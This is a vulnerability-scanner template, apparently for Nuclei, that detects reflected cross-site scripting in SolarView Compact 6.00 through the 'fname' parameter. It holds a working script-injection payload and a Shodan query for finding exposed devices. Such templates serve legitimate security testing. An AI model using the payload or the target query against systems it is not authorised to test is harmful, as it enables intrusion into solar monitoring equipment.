34 lines
826 B
YAML
34 lines
826 B
YAML
|
id: solarview-compact-xss
|
||
|
|
||
|
info:
|
||
|
name: SolarView Compact 6.00 - Cross-Site Scripting(XSS)
|
||
|
author: ritikchaddha
|
||
|
severity: medium
|
||
|
description: |
|
||
|
SolarView Compact v6.0 is vulnerable to cross-site scripting (XSS) vulnerability via `fname` at /Solar_Image.php.
|
||
|
metadata:
|
||
|
verified: true
|
||
|
shodan-query: http.html:"SolarView Compact"
|
||
|
tags: xss,solarview
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- '{{BaseURL}}/Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- 'value="test"><script>alert(document.domain)</script>">'
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- "text/html"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|